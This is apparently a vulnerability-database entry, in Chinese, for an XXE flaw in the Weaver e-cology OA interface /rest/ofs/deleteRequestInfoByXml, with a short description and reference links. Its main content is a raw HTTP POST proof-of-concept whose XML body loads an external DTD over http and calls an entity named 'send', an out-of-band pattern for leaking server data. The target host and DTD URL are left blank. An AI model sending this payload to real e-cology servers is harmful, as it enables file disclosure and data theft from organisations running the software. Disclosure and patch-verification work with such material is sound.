Description
泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公。泛微e-cology系统接口 /rest/ofs/deleteRequestInfoByXml 存在XXE漏洞
泛微OA E-Cology /rest/ofs/deleteRequestInfoByXml XML 外部实体注入漏洞
PoC
POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
Host:
Content-Type: application/xml
Content-Length: 133
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.2064.126 Safari/537.36
Connection: close
Accept-Encoding: gzip
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://">
<M><syscode>&send;</syscode></M>
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/dontian122/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Cology%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3deleteRequestInfoByXml%E5%AD%98%E5%9C%A8XXE%E6%BC%8F%E6%B4%9E.md
https://zhuanlan.zhihu.com/p/643708947
https://www.cnblogs.com/pursue-security/p/17677321.html
https://www.h3c.com/cn/d_202309/1931106_30003_0.htm
http://www.gzwangan.com/?p=3302
https://ddpoc.com/DVB-2024-7797.html
https://bbs.chaitin.cn/topic/638
https://cn-sec.com/archives/1874193.html
https://mrxn.net/jswz/e-cology-ReceiveTodoRequestByXml-xmlToMap-XXE.html